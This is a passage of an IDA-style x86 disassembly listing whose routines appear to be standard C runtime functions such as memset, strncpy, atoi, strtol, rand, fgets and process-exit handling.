loc_41BB1C: ; CODE XREF: sub_41BB12+7j push eax push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_41F9CD add esp, 10h retn sub_41BB12 endp ; =============== S U B R O U T I N E ======================================= sub_41BB32 proc near ; CODE XREF: sub_4010AA+18p ; sub_401AA1+57BBp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 40h push [esp+4+arg_4] push [esp+8+arg_0] call sub_41BB12 add esp, 0Ch retn sub_41BB32 endp ; =============== S U B R O U T I N E ======================================= sub_41BB45 proc near ; CODE XREF: sub_4010AA+6p ; sub_40A7FD+5Fp ... arg_0 = dword ptr 4 push dword_4DE64C push [esp+4+arg_0] call sub_41BB57 pop ecx pop ecx retn sub_41BB45 endp ; =============== S U B R O U T I N E ======================================= sub_41BB57 proc near ; CODE XREF: sub_41BB45+Ap ; sub_41D635+6p arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0FFFFFFE0h ja short loc_41BB80 loc_41BB5E: ; CODE XREF: sub_41BB57+27j push [esp+arg_0] call sub_41BB83 test eax, eax pop ecx jnz short locret_41BB82 cmp [esp+arg_4], eax jz short locret_41BB82 push [esp+arg_0] call sub_41F9B2 test eax, eax pop ecx jnz short loc_41BB5E loc_41BB80: ; CODE XREF: sub_41BB57+5j xor eax, eax locret_41BB82: ; CODE XREF: sub_41BB57+13j ; sub_41BB57+19j retn sub_41BB57 endp ; =============== S U B R O U T I N E ======================================= sub_41BB83 proc near ; CODE XREF: sub_41BB57+Bp arg_0 = dword ptr 4 mov eax, dword_4DFC68 push esi mov esi, [esp+4+arg_0] cmp eax, 3 jnz short loc_41BBA7 cmp esi, dword_4DFC60 ja short loc_41BBD9 push esi call sub_41E86B test eax, eax pop ecx jz short loc_41BBD9 pop esi retn ; --------------------------------------------------------------------------- loc_41BBA7: ; CODE XREF: sub_41BB83+Dj cmp eax, 2 jnz short loc_41BBD9 mov eax, [esp+4+arg_0] test eax, eax jz short loc_41BBBC lea esi, [eax+0Fh] and esi, 0FFFFFFF0h jmp short loc_41BBBF ; --------------------------------------------------------------------------- loc_41BBBC: ; CODE XREF: sub_41BB83+2Fj push 10h pop esi loc_41BBBF: ; CODE XREF: sub_41BB83+37j cmp esi, dword_43F614 ja short loc_41BBE6 mov eax, esi shr eax, 4 push eax call sub_41F30E test eax, eax pop ecx jnz short loc_41BBF5 jmp short loc_41BBE6 ; --------------------------------------------------------------------------- loc_41BBD9: ; CODE XREF: sub_41BB83+15j ; sub_41BB83+20j ... test esi, esi jnz short loc_41BBE0 push 1 pop esi loc_41BBE0: ; CODE XREF: sub_41BB83+58j add esi, 0Fh and esi, 0FFFFFFF0h loc_41BBE6: ; CODE XREF: sub_41BB83+42j ; sub_41BB83+54j push esi push 0 push dword_4DFC64 call dword_428154 ; RtlAllocateHeap loc_41BBF5: ; CODE XREF: sub_41BB83+52j pop esi retn sub_41BB83 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41BC00 proc near ; CODE XREF: sub_40111A+3Cp ; sub_40111A+4Ap ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_8] mov ecx, [esp+arg_0] test edx, edx jz short loc_41BC53 xor eax, eax mov al, [esp+arg_4] push edi mov edi, ecx cmp edx, 4 jb short loc_41BC47 neg ecx and ecx, 3 jz short loc_41BC29 sub edx, ecx loc_41BC23: ; CODE XREF: sub_41BC00+27j mov [edi], al inc edi dec ecx jnz short loc_41BC23 loc_41BC29: ; CODE XREF: sub_41BC00+1Fj mov ecx, eax shl eax, 8 add eax, ecx mov ecx, eax shl eax, 10h add eax, ecx mov ecx, edx and edx, 3 shr ecx, 2 jz short loc_41BC47 rep stosd test edx, edx jz short loc_41BC4D loc_41BC47: ; CODE XREF: sub_41BC00+18j ; sub_41BC00+3Fj ... mov [edi], al inc edi dec edx jnz short loc_41BC47 loc_41BC4D: ; CODE XREF: sub_41BC00+45j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41BC53: ; CODE XREF: sub_41BC00+Aj mov eax, [esp+arg_0] retn sub_41BC00 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41BC60 proc near ; CODE XREF: sub_40121E+48Ap ; sub_40121E+4A6p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz short loc_41BCE3 push esi push ebx mov ebx, ecx mov esi, [esp+0Ch+arg_4] test esi, 3 mov edi, [esp+0Ch+arg_0] jnz short loc_41BC84 shr ecx, 2 jnz short loc_41BCF1 jmp short loc_41BCA5 ; --------------------------------------------------------------------------- loc_41BC84: ; CODE XREF: sub_41BC60+1Bj ; sub_41BC60+37j mov al, [esi] inc esi mov [edi], al inc edi dec ecx jz short loc_41BCB2 test al, al jz short loc_41BCBA test esi, 3 jnz short loc_41BC84 mov ebx, ecx shr ecx, 2 jnz short loc_41BCF1 loc_41BCA0: ; CODE XREF: sub_41BC60+8Fj and ebx, 3 jz short loc_41BCB2 loc_41BCA5: ; CODE XREF: sub_41BC60+22j ; sub_41BC60+50j mov al, [esi] inc esi mov [edi], al inc edi test al, al jz short loc_41BCDE dec ebx jnz short loc_41BCA5 loc_41BCB2: ; CODE XREF: sub_41BC60+2Bj ; sub_41BC60+43j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41BCBA: ; CODE XREF: sub_41BC60+2Fj test edi, 3 jz short loc_41BCD4 loc_41BCC2: ; CODE XREF: sub_41BC60+72j mov [edi], al inc edi dec ecx jz loc_41BD56 test edi, 3 jnz short loc_41BCC2 loc_41BCD4: ; CODE XREF: sub_41BC60+60j mov ebx, ecx shr ecx, 2 jnz short loc_41BD47 loc_41BCDB: ; CODE XREF: sub_41BC60+7Fj ; sub_41BC60+F4j mov [edi], al inc edi loc_41BCDE: ; CODE XREF: sub_41BC60+4Dj dec ebx jnz short loc_41BCDB pop ebx pop esi loc_41BCE3: ; CODE XREF: sub_41BC60+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41BCE9: ; CODE XREF: sub_41BC60+A9j ; sub_41BC60+C1j mov [edi], edx add edi, 4 dec ecx jz short loc_41BCA0 loc_41BCF1: ; CODE XREF: sub_41BC60+20j ; sub_41BC60+3Ej mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_41BCE9 test dl, dl jz short loc_41BD3B test dh, dh jz short loc_41BD31 test edx, 0FF0000h jz short loc_41BD27 test edx, 0FF000000h jnz short loc_41BCE9 mov [edi], edx jmp short loc_41BD3F ; --------------------------------------------------------------------------- loc_41BD27: ; CODE XREF: sub_41BC60+B9j and edx, 0FFFFh mov [edi], edx jmp short loc_41BD3F ; --------------------------------------------------------------------------- loc_41BD31: ; CODE XREF: sub_41BC60+B1j and edx, 0FFh mov [edi], edx jmp short loc_41BD3F ; --------------------------------------------------------------------------- loc_41BD3B: ; CODE XREF: sub_41BC60+ADj xor edx, edx mov [edi], edx loc_41BD3F: ; CODE XREF: sub_41BC60+C5j ; sub_41BC60+CFj ... add edi, 4 xor eax, eax dec ecx jz short loc_41BD51 loc_41BD47: ; CODE XREF: sub_41BC60+79j xor eax, eax loc_41BD49: ; CODE XREF: sub_41BC60+EFj mov [edi], eax add edi, 4 dec ecx jnz short loc_41BD49 loc_41BD51: ; CODE XREF: sub_41BC60+E5j and ebx, 3 jnz short loc_41BCDB loc_41BD56: ; CODE XREF: sub_41BC60+66j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_41BC60 endp ; =============== S U B R O U T I N E ======================================= sub_41BD5E proc near ; CODE XREF: sub_41BDE9+4p ; sub_424EBC+1A2p ... arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] loc_41BD66: ; CODE XREF: sub_41BD5E+34j cmp dword_43F824, 1 jle short loc_41BD7E movzx eax, byte ptr [edi] push 8 push eax call sub_41FBB5 pop ecx pop ecx jmp short loc_41BD8D ; --------------------------------------------------------------------------- loc_41BD7E: ; CODE XREF: sub_41BD5E+Fj movzx eax, byte ptr [edi] mov ecx, off_43F618 mov al, [ecx+eax*2] and eax, 8 loc_41BD8D: ; CODE XREF: sub_41BD5E+1Ej test eax, eax jz short loc_41BD94 inc edi jmp short loc_41BD66 ; --------------------------------------------------------------------------- loc_41BD94: ; CODE XREF: sub_41BD5E+31j movzx esi, byte ptr [edi] inc edi cmp esi, 2Dh mov ebp, esi jz short loc_41BDA4 cmp esi, 2Bh jnz short loc_41BDA8 loc_41BDA4: ; CODE XREF: sub_41BD5E+3Fj movzx esi, byte ptr [edi] inc edi loc_41BDA8: ; CODE XREF: sub_41BD5E+44j xor ebx, ebx loc_41BDAA: ; CODE XREF: sub_41BD5E+7Bj cmp dword_43F824, 1 jle short loc_41BDBF push 4 push esi call sub_41FBB5 pop ecx pop ecx jmp short loc_41BDCA ; --------------------------------------------------------------------------- loc_41BDBF: ; CODE XREF: sub_41BD5E+53j mov eax, off_43F618 mov al, [eax+esi*2] and eax, 4 loc_41BDCA: ; CODE XREF: sub_41BD5E+5Fj test eax, eax jz short loc_41BDDB lea eax, [ebx+ebx*4] lea ebx, [esi+eax*2-30h] movzx esi, byte ptr [edi] inc edi jmp short loc_41BDAA ; --------------------------------------------------------------------------- loc_41BDDB: ; CODE XREF: sub_41BD5E+6Ej cmp ebp, 2Dh mov eax, ebx jnz short loc_41BDE4 neg eax loc_41BDE4: ; CODE XREF: sub_41BD5E+82j pop edi pop esi pop ebp pop ebx retn sub_41BD5E endp ; =============== S U B R O U T I N E ======================================= sub_41BDE9 proc near ; CODE XREF: sub_40121E+2F4p ; sub_401AA1+6EFp ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_41BD5E pop ecx retn sub_41BDE9 endp ; =============== S U B R O U T I N E ======================================= sub_41BDF4 proc near ; CODE XREF: sub_41DFD3+93p mov eax, off_43D5BC test eax, eax jz short loc_41BDFF call eax ; sub_41CDB4 loc_41BDFF: ; CODE XREF: sub_41BDF4+7j push offset dword_42A02C push offset dword_42A018 call sub_41BEDC push offset dword_42A014 push offset dword_42A000 call sub_41BEDC add esp, 10h retn sub_41BDF4 endp ; =============== S U B R O U T I N E ======================================= sub_41BE21 proc near ; CODE XREF: sub_41DFD3+D2p arg_0 = dword ptr 4 push 0 push 0 push [esp+8+arg_0] call sub_41BE43 add esp, 0Ch retn sub_41BE21 endp ; =============== S U B R O U T I N E ======================================= sub_41BE32 proc near ; CODE XREF: .XPack0:0041E0C4p ; sub_41E0C9+1Cp ... arg_0 = dword ptr 4 push 0 push 1 push [esp+8+arg_0] call sub_41BE43 add esp, 0Ch retn sub_41BE32 endp ; =============== S U B R O U T I N E ======================================= sub_41BE43 proc near ; CODE XREF: sub_41BE21+8p ; sub_41BE32+8p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi push 1 pop edi cmp dword_4DE60C, edi jnz short loc_41BE60 push [esp+4+arg_0] call dword_428108 ; GetCurrentProcess push eax call dword_428100 ; TerminateProcess loc_41BE60: ; CODE XREF: sub_41BE43+Aj cmp [esp+4+arg_4], 0 push ebx mov ebx, [esp+8+arg_8] mov dword_4DE608, edi mov byte_4DE604, bl jnz short loc_41BEB4 mov eax, dword_4DFC7C test eax, eax jz short loc_41BEA3 mov ecx, dword_4DFC78 push esi lea esi, [ecx-4] cmp esi, eax jb short loc_41BEA2 loc_41BE8F: ; CODE XREF: sub_41BE43+5Dj mov eax, [esi] test eax, eax jz short loc_41BE97 call eax loc_41BE97: ; CODE XREF: sub_41BE43+50j sub esi, 4 cmp esi, dword_4DFC7C jnb short loc_41BE8F loc_41BEA2: ; CODE XREF: sub_41BE43+4Aj pop esi loc_41BEA3: ; CODE XREF: sub_41BE43+3Cj push offset dword_42A038 push offset dword_42A030 call sub_41BEDC pop ecx pop ecx loc_41BEB4: ; CODE XREF: sub_41BE43+33j push offset dword_42A044 push offset dword_42A03C call sub_41BEDC pop ecx pop ecx test ebx, ebx pop ebx jnz short loc_41BEDA push [esp+4+arg_0] mov dword_4DE60C, edi call dword_42806C ; ExitProcess loc_41BEDA: ; CODE XREF: sub_41BE43+85j pop edi retn sub_41BE43 endp ; =============== S U B R O U T I N E ======================================= sub_41BEDC proc near ; CODE XREF: sub_41BDF4+15p ; sub_41BDF4+24p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] loc_41BEE1: ; CODE XREF: sub_41BEDC+16j cmp esi, [esp+4+arg_4] jnb short loc_41BEF4 mov eax, [esi] test eax, eax jz short loc_41BEEF call eax loc_41BEEF: ; CODE XREF: sub_41BEDC+Fj add esi, 4 jmp short loc_41BEE1 ; --------------------------------------------------------------------------- loc_41BEF4: ; CODE XREF: sub_41BEDC+9j pop esi retn sub_41BEDC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BEF6 proc near ; CODE XREF: sub_40121E+18Cp ; sub_40121E+283p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi mov [ebp+var_18], eax mov [ebp+var_20], eax lea eax, [ebp+arg_8] mov [ebp+var_14], 42h push eax lea eax, [ebp+var_20] push [ebp+arg_4] mov [ebp+var_1C], 7FFFFFFFh push eax call sub_41FD3F add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_41BF36 mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_41BF43 ; --------------------------------------------------------------------------- loc_41BF36: ; CODE XREF: sub_41BEF6+36j lea eax, [ebp+var_20] push eax push 0 call sub_41FC2A pop ecx pop ecx loc_41BF43: ; CODE XREF: sub_41BEF6+3Ej mov eax, esi pop esi leave retn sub_41BEF6 endp ; =============== S U B R O U T I N E ======================================= sub_41BF48 proc near ; CODE XREF: sub_40121E+45p ; sub_401AA1+3171p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dword_43D5A0, eax retn sub_41BF48 endp ; =============== S U B R O U T I N E ======================================= sub_41BF52 proc near ; CODE XREF: sub_40121E:loc_401373p ; sub_40121E:loc_40168Fp ... mov eax, dword_43D5A0 imul eax, 343FDh add eax, 269EC3h mov dword_43D5A0, eax sar eax, 10h and eax, 7FFFh retn sub_41BF52 endp ; =============== S U B R O U T I N E ======================================= sub_41BF70 proc near ; CODE XREF: sub_40121E+12Ap ; sub_401AA1+8Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push edi push ebx push esi mov dl, [ecx] mov edi, [esp+0Ch+arg_0] test dl, dl jz short loc_41BFEA mov dh, [ecx+1] test dh, dh jz short loc_41BFD7 loc_41BF88: ; CODE XREF: sub_41BF70+52j ; sub_41BF70+65j mov esi, edi mov ecx, [esp+0Ch+arg_4] mov al, [edi] inc esi cmp al, dl jz short loc_41BFAA test al, al jz short loc_41BFA4 loc_41BF99: ; CODE XREF: sub_41BF70+32j mov al, [esi] inc esi loc_41BF9C: ; CODE XREF: sub_41BF70+3Fj cmp al, dl jz short loc_41BFAA test al, al jnz short loc_41BF99 loc_41BFA4: ; CODE XREF: sub_41BF70+27j pop esi pop ebx pop edi xor eax, eax retn ; --------------------------------------------------------------------------- loc_41BFAA: ; CODE XREF: sub_41BF70+23j ; sub_41BF70+2Ej mov al, [esi] inc esi cmp al, dh jnz short loc_41BF9C lea edi, [esi-1] loc_41BFB4: ; CODE XREF: sub_41BF70+63j mov ah, [ecx+2] test ah, ah jz short loc_41BFE3 mov al, [esi] add esi, 2 cmp al, ah jnz short loc_41BF88 mov al, [ecx+3] test al, al jz short loc_41BFE3 mov ah, [esi-1] add ecx, 2 cmp al, ah jz short loc_41BFB4 jmp short loc_41BF88 ; --------------------------------------------------------------------------- loc_41BFD7: ; CODE XREF: sub_41BF70+16j xor eax, eax pop esi pop ebx pop edi mov al, dl jmp loc_41C626 ; --------------------------------------------------------------------------- loc_41BFE3: ; CODE XREF: sub_41BF70+49j ; sub_41BF70+59j lea eax, [edi-1] pop esi pop ebx pop edi retn ; --------------------------------------------------------------------------- loc_41BFEA: ; CODE XREF: sub_41BF70+Fj mov eax, edi pop esi pop ebx pop edi retn sub_41BF70 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BFF0 proc near ; CODE XREF: sub_40121E+117p ; sub_401AA1+1BCFp ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = byte ptr 14h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi mov [ebp+var_18], eax mov [ebp+var_20], eax mov eax, [ebp+arg_4] mov [ebp+var_14], 42h mov [ebp+var_1C], eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_20] push [ebp+arg_8] push eax call sub_41FD3F add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_41C02F mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_41C03C ; --------------------------------------------------------------------------- loc_41C02F: ; CODE XREF: sub_41BFF0+35j lea eax, [ebp+var_20] push eax push 0 call sub_41FC2A pop ecx pop ecx loc_41C03C: ; CODE XREF: sub_41BFF0+3Dj mov eax, esi pop esi leave retn sub_41BFF0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C041 proc near ; CODE XREF: sub_40121E+F7p ; sub_401AA1+2124p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push ebx mov ebx, [ebp+arg_0] push esi push edi push ebx call sub_41B650 cmp eax, 1 pop ecx jb short loc_41C07C cmp byte ptr [ebx+1], 3Ah jnz short loc_41C07C mov esi, [ebp+arg_4] test esi, esi jz short loc_41C078 push 2 push ebx push esi call sub_420929 add esp, 0Ch and byte ptr [esi+2], 0 loc_41C078: ; CODE XREF: sub_41C041+25j inc ebx inc ebx jmp short loc_41C086 ; --------------------------------------------------------------------------- loc_41C07C: ; CODE XREF: sub_41C041+18j ; sub_41C041+1Ej mov eax, [ebp+arg_4] test eax, eax jz short loc_41C086 and byte ptr [eax], 0 loc_41C086: ; CODE XREF: sub_41C041+39j ; sub_41C041+40j and [ebp+arg_4], 0 cmp byte ptr [ebx], 0 mov eax, ebx mov esi, 0FFh mov [ebp+arg_0], eax jz short loc_41C0FE loc_41C099: ; CODE XREF: sub_41C041+87j mov cl, [eax] movzx edx, cl test byte_4DFB41[edx], 4 jz short loc_41C0AA inc eax jmp short loc_41C0C4 ; --------------------------------------------------------------------------- loc_41C0AA: ; CODE XREF: sub_41C041+64j cmp cl, 2Fh jz short loc_41C0BE cmp cl, 5Ch jz short loc_41C0BE cmp cl, 2Eh jnz short loc_41C0C4 mov [ebp+var_4], eax jmp short loc_41C0C4 ; --------------------------------------------------------------------------- loc_41C0BE: ; CODE XREF: sub_41C041+6Cj ; sub_41C041+71j lea ecx, [eax+1] mov [ebp+arg_4], ecx loc_41C0C4: ; CODE XREF: sub_41C041+67j ; sub_41C041+76j ... inc eax cmp byte ptr [eax], 0 jnz short loc_41C099 mov edi, [ebp+arg_4] mov [ebp+arg_0], eax test edi, edi jz short loc_41C0FE cmp [ebp+arg_8], 0 jz short loc_41C0F9 sub edi, ebx cmp edi, esi jb short loc_41C0E2 mov edi, esi loc_41C0E2: ; CODE XREF: sub_41C041+9Dj push edi push ebx push [ebp+arg_8] call sub_420929 mov eax, [ebp+arg_8] add esp, 0Ch and byte ptr [edi+eax], 0 mov eax, [ebp+arg_0] loc_41C0F9: ; CODE XREF: sub_41C041+97j mov ebx, [ebp+arg_4] jmp short loc_41C108 ; --------------------------------------------------------------------------- loc_41C0FE: ; CODE XREF: sub_41C041+56j ; sub_41C041+91j mov ecx, [ebp+arg_8] test ecx, ecx jz short loc_41C108 and byte ptr [ecx], 0 loc_41C108: ; CODE XREF: sub_41C041+BBj ; sub_41C041+C2j mov edi, [ebp+var_4] test edi, edi jz short loc_41C15B cmp edi, ebx jb short loc_41C15B cmp [ebp+arg_C], 0 jz short loc_41C138 sub edi, ebx cmp edi, esi jb short loc_41C121 mov edi, esi loc_41C121: ; CODE XREF: sub_41C041+DCj push edi push ebx push [ebp+arg_C] call sub_420929 mov eax, [ebp+arg_C] add esp, 0Ch and byte ptr [edi+eax], 0 mov eax, [ebp+arg_0] loc_41C138: ; CODE XREF: sub_41C041+D6j mov edi, [ebp+arg_10] test edi, edi jz short loc_41C183 sub eax, [ebp+var_4] cmp eax, esi jnb short loc_41C148 mov esi, eax loc_41C148: ; CODE XREF: sub_41C041+103j push esi push [ebp+var_4] push edi call sub_420929 add esp, 0Ch and byte ptr [esi+edi], 0 jmp short loc_41C183 ; --------------------------------------------------------------------------- loc_41C15B: ; CODE XREF: sub_41C041+CCj ; sub_41C041+D0j mov edi, [ebp+arg_C] test edi, edi jz short loc_41C179 sub eax, ebx cmp eax, esi jnb short loc_41C16A mov esi, eax loc_41C16A: ; CODE XREF: sub_41C041+125j push esi push ebx push edi call sub_420929 add esp, 0Ch and byte ptr [esi+edi], 0 loc_41C179: ; CODE XREF: sub_41C041+11Fj mov eax, [ebp+arg_10] test eax, eax jz short loc_41C183 and byte ptr [eax], 0 loc_41C183: ; CODE XREF: sub_41C041+FCj ; sub_41C041+118j ... pop edi pop esi pop ebx leave retn sub_41C041 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41C190 proc near ; CODE XREF: sub_401925+8p ; sub_401AA1+8p ... arg_0 = byte ptr 4 push ecx cmp eax, 1000h lea ecx, [esp+4+arg_0] jb short loc_41C1B0 loc_41C19C: ; CODE XREF: sub_41C190+1Ej sub ecx, 1000h sub eax, 1000h test [ecx], eax cmp eax, 1000h jnb short loc_41C19C loc_41C1B0: ; CODE XREF: sub_41C190+Aj sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_41C190 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C1BF proc near ; CODE XREF: sub_401AA1+7341p ; sub_401AA1+736Ep arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_4], 0 push ebx mov ebx, [ebp+arg_0] push edi mov edi, ebx jg short loc_41C1D3 xor eax, eax jmp short loc_41C209 ; --------------------------------------------------------------------------- loc_41C1D3: ; CODE XREF: sub_41C1BF+Ej dec [ebp+arg_4] push esi jz short loc_41C203 mov esi, [ebp+arg_8] loc_41C1DC: ; CODE XREF: sub_41C1BF+42j dec dword ptr [esi+4] js short loc_41C1EB mov ecx, [esi] movzx eax, byte ptr [ecx] inc ecx mov [esi], ecx jmp short loc_41C1F2 ; --------------------------------------------------------------------------- loc_41C1EB: ; CODE XREF: sub_41C1BF+20j push esi call sub_41F6E3 pop ecx loc_41C1F2: ; CODE XREF: sub_41C1BF+2Aj cmp eax, 0FFFFFFFFh jz short loc_41C20D mov [edi], al inc edi cmp al, 0Ah jz short loc_41C203 dec [ebp+arg_4] jnz short loc_41C1DC loc_41C203: ; CODE XREF: sub_41C1BF+18j ; sub_41C1BF+3Dj ... and byte ptr [edi], 0 loc_41C206: ; CODE XREF: sub_41C1BF+55j mov eax, ebx pop esi loc_41C209: ; CODE XREF: sub_41C1BF+12j pop edi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_41C20D: ; CODE XREF: sub_41C1BF+36j cmp edi, [ebp+arg_0] jnz short loc_41C203 xor ebx, ebx jmp short loc_41C206 sub_41C1BF endp ; =============== S U B R O U T I N E ======================================= sub_41C216 proc near ; CODE XREF: sub_41E32A+11Bp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 0 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_41C22D add esp, 10h retn sub_41C216 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C22D proc near ; CODE XREF: sub_41C216+Ep ; sub_41C435+Ep var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 0Ch push ebx and [ebp+var_8], 0 push esi push edi mov edi, [ebp+arg_0] mov bl, [edi] lea esi, [edi+1] mov [ebp+var_4], esi loc_41C245: ; CODE XREF: sub_41C22D+46j cmp dword_43F824, 1 jle short loc_41C25D movzx eax, bl push 8 push eax call sub_41FBB5 pop ecx pop ecx jmp short loc_41C26C ; --------------------------------------------------------------------------- loc_41C25D: ; CODE XREF: sub_41C22D+1Fj mov ecx, off_43F618 movzx eax, bl mov al, [ecx+eax*2] and eax, 8 loc_41C26C: ; CODE XREF: sub_41C22D+2Ej test eax, eax jz short loc_41C275 mov bl, [esi] inc esi jmp short loc_41C245 ; --------------------------------------------------------------------------- loc_41C275: ; CODE XREF: sub_41C22D+41j cmp bl, 2Dh mov [ebp+var_4], esi jnz short loc_41C283 or [ebp+arg_C], 2 jmp short loc_41C288 ; --------------------------------------------------------------------------- loc_41C283: ; CODE XREF: sub_41C22D+4Ej cmp bl, 2Bh jnz short loc_41C28E loc_41C288: ; CODE XREF: sub_41C22D+54j mov bl, [esi] inc esi mov [ebp+var_4], esi loc_41C28E: ; CODE XREF: sub_41C22D+59j mov eax, [ebp+arg_8] test eax, eax jl loc_41C425 cmp eax, 1 jz loc_41C425 cmp eax, 24h jg loc_41C425 push 10h test eax, eax pop ecx jnz short loc_41C2D6 cmp bl, 30h jz short loc_41C2C0 mov [ebp+arg_8], 0Ah jmp short loc_41C2F2 ; --------------------------------------------------------------------------- loc_41C2C0: ; CODE XREF: sub_41C22D+88j mov al, [esi] cmp al, 78h jz short loc_41C2D3 cmp al, 58h jz short loc_41C2D3 mov [ebp+arg_8], 8 jmp short loc_41C2F2 ; --------------------------------------------------------------------------- loc_41C2D3: ; CODE XREF: sub_41C22D+97j ; sub_41C22D+9Bj mov [ebp+arg_8], ecx loc_41C2D6: ; CODE XREF: sub_41C22D+83j cmp [ebp+arg_8], ecx jnz short loc_41C2F2 cmp bl, 30h jnz short loc_41C2F2 mov al, [esi] cmp al, 78h jz short loc_41C2EA cmp al, 58h jnz short loc_41C2F2 loc_41C2EA: ; CODE XREF: sub_41C22D+B7j mov bl, [esi+1] inc esi inc esi mov [ebp+var_4], esi loc_41C2F2: ; CODE XREF: sub_41C22D+91j ; sub_41C22D+A4j ... or eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_8] mov edi, 103h mov [ebp+var_C], eax loc_41C302: ; CODE XREF: sub_41C22D+16Cj cmp dword_43F824, 1 movzx esi, bl jle short loc_41C31A push 4 push esi call sub_41FBB5 pop ecx pop ecx jmp short loc_41C325 ; --------------------------------------------------------------------------- loc_41C31A: ; CODE XREF: sub_41C22D+DFj mov eax, off_43F618 mov al, [eax+esi*2] and eax, 4 loc_41C325: ; CODE XREF: sub_41C22D+EBj test eax, eax jz short loc_41C331 movsx ecx, bl sub ecx, 30h jmp short loc_41C363 ; --------------------------------------------------------------------------- loc_41C331: ; CODE XREF: sub_41C22D+FAj cmp dword_43F824, 1 jle short loc_41C345 push edi push esi call sub_41FBB5 pop ecx pop ecx jmp short loc_41C350 ; --------------------------------------------------------------------------- loc_41C345: ; CODE XREF: sub_41C22D+10Bj mov eax, off_43F618 mov ax, [eax+esi*2] and eax, edi loc_41C350: ; CODE XREF: sub_41C22D+116j test eax, eax jz short loc_41C39E movsx eax, bl push eax call sub_4209B3 pop ecx mov ecx, eax sub ecx, 37h loc_41C363: ; CODE XREF: sub_41C22D+102j cmp ecx, [ebp+arg_8] jnb short loc_41C39E mov esi, [ebp+var_8] or [ebp+arg_C], 8 cmp esi, [ebp+var_C] jb short loc_41C388 jnz short loc_41C382 or eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_8] cmp ecx, edx jbe short loc_41C388 loc_41C382: ; CODE XREF: sub_41C22D+147j or [ebp+arg_C], 4 jmp short loc_41C391 ; --------------------------------------------------------------------------- loc_41C388: ; CODE XREF: sub_41C22D+145j ; sub_41C22D+153j imul esi, [ebp+arg_8] add esi, ecx mov [ebp+var_8], esi loc_41C391: ; CODE XREF: sub_41C22D+159j mov eax, [ebp+var_4] inc [ebp+var_4] mov bl, [eax] jmp loc_41C302 ; --------------------------------------------------------------------------- loc_41C39E: ; CODE XREF: sub_41C22D+125j ; sub_41C22D+139j mov ecx, [ebp+arg_C] dec [ebp+var_4] mov edx, [ebp+arg_4] test cl, 8 jnz short loc_41C3BC test edx, edx jz short loc_41C3B6 mov eax, [ebp+arg_0] mov [ebp+var_4], eax loc_41C3B6: ; CODE XREF: sub_41C22D+181j and [ebp+var_8], 0 jmp short loc_41C409 ; --------------------------------------------------------------------------- loc_41C3BC: ; CODE XREF: sub_41C22D+17Dj test cl, 4 mov eax, 7FFFFFFFh jnz short loc_41C3E2 test cl, 1 jnz short loc_41C409 and ecx, 2 jz short loc_41C3D9 cmp [ebp+var_8], 